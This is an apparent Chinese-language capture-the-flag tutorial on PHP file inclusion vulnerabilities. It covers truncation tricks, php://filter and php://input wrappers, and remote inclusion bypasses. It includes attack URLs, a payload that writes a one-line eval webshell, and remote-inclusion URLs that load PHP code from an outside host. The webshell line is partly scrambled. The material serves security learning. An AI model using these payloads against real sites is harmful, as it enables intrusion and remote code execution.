程序开发人员在写程序的过程中,不喜欢把同样的代码写上好几次,因此通常会把需要重复使用的的代码写到单个的文件里,当需要使用的时候就直接调用这个文件,不需要去重新编写,这种调用的过程就被称为包含。我们需要调用某个文件的时候,就会通过PHP的函数引用文件,如果这个时候传入的文件名没有经过合理校验,从而操作了预想之外的文件,就会导致意外的文件泄露甚至恶意的代码注入
危险函数
在PHP文件包含漏洞的函数最常见的有以下四个:
1 | require() |
当使用这些函数包含一个新的文件时,只要文件的内容符合PHP的语法规范,则任何拓展名的文件都可以被当作PHP解析,例如上传一个包含恶意代码的txt./ jpg.文件,都会被当作PHP文件执行。
分类
本地文件包含
- 直接读取目标机上的Flag文件
远程文件包含
- 指定第三方服务器上可运行的PHP木马,得到webshell,查看flag文件
解题思路
查看php的全局配置文件php.ini
1 | allow_url_fopen = on/off |
只有以上两个都开启的时候才会存在远程文件包含
本地文件包含
- 直接包含flag文件
- 通过PHP伪协议读取代码中的flag
- 传入PHP木马获取webshell,得到flag
直接包含flag文件
%00截断
结束符:\x00–> %00
路径长度截断
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
例:
1 | http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. |
点号截断
windows OS,点号需要长于256
1 | http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... |
PHP伪协议
- file:// –访问本地文件系统
- php:// –访问各个输入输出流
file://
用法: file://[文件的绝对路径和文件名]
条件(php.ini) : allow_url_fopen = off/on
allow_url_include = off/on
php://filter
用法:
1 | ?filename=php://filter/convert.base64-encode/resource=xxx.php |
1 | php://filter/read=string.toupper|string.rot13/resource=xxx.php |
php://filter伪协议可以套一层协议,就像:
1 | php://filter/read=convert.base64-encode/woofers/resource=index |
条件(php.ini) : allow_url_fopen = off/on
allow_url_include = off/on
传入PHP木马获取webshell,得到flag
php://input
用法:?file=php://input 数据利用POST传过去
条件(php.ini) : allow_url_fopen = off/on
allow_url_include = on
木马文件(shell.php)
1 | 'shell.php','w'),'<?php @eval($_POST[cmd])?>'); fputs(fopen( |
菜刀/蚁剑连接
远程文件包含
问号绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt? |
#号绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23 |
%20绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20 |